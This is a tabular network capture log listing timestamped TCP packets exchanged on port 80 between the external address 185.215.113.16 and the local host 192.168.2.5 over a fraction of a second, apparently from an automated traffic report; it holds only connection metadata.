Oct 31, 2024 02:08:21.326414108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326420069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326426029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326436996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326447010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326447010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326458931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326462984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326471090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326483965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326499939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326500893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326524973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326545954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326556921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326585054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326589108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326601028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326612949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326622009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326625109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326648951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326833963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326850891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326862097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326874018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326874971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326884985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326896906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326900005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326909065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326915026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326925039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326936960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326940060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326950073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326961040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326970100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326981068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.326981068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.326992989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327003002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327012062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327014923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327023029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327025890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327039003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327043056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327061892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327064991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327074051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327111959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327244997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327255964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327266932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327276945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327287912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327289104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327292919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327301979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327318907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327328920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327331066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327342033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327351093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327358961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327362061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327378988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327379942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327392101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327394009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327404976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327416897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327428102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327435017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327445984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327455044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327457905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327469110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327478886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327487946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327488899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327498913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327507019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327517986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327532053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327542067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327568054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327583075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327593088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327609062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327620029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327621937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327631950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327645063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327645063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327656984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327668905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327693939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327728987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327739954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327750921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327761889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327773094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327785969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327807903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327853918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327866077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327877045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327888012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327888966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327905893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327913046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327918053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327929974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327941895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327951908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327954054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327963114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327975035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327979088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327986956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.327994108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.327999115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328006983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328013897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328043938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328120947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328133106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328144073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328155041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328166008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328176975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328181982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328196049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328206062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328216076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328262091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328272104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328283072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328296900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328300953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328314066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328315020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328320026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328326941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328331947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328341961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328352928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328366995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328367949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.328387022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.328397989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.329566002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.330336094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361237049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361263990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361277103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361287117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361299992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361311913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361313105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361325026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361366987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361377954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361387968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361393929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361419916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361430883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361445904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361500025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361500025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361500025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361500978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361500978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361500978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361557961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361573935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361584902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361624956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361638069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361649990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361675024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361735106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361747026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361757994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361769915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361799002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361800909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361814022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361824036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361846924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.361968994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361980915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.361991882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.362014055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.362034082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.362313986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.362325907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.362337112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.362361908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.362987995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363029003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.363060951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363071918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363081932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363107920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.363164902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363174915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363187075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363197088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.363215923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363219976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.363228083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363240004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363250971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363261938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.363286018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.363323927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363333941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363368988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.363564968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363578081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363589048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363610029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.363617897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363631010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363641977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.363655090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.363678932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.364576101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.364593029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.364603043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.364624023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.364638090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.364650011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.364665031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.364672899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.364698887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.365505934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365518093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365529060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365557909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.365585089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365597010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365607023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365617990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365623951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.365629911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365648031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365653038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.365663052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365672112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.365678072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.365700960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.406810999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.406821966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.406833887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.406852007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.406873941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.407042980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.441570044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441612005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441625118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441653013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.441685915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441698074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441708088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441730976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.441750050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.441775084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441786051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441797018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441808939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441816092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.441819906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441831112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441842079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441844940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.441863060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441869020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.441874981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441884995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.441900015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.441917896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443062067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443073034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443084002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443100929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443116903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443125010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443146944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443157911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443187952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443202972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443248987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443259954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443284035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443300962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443320990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443331957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443334103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443346024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443356991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443378925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443397999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443407059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443414927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443428040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443440914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443450928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443475962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443479061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443558931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443568945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443581104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443591118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443603039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443603039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443614006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443625927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443629026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443639040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443669081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443739891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443833113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443850040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443861961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443872929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443881035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443885088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443900108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443931103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.443949938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.443978071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444016933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:21.444037914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444048882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444060087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:21.444084883 CET	49712	80	192.168.2.5	185.215.113.16
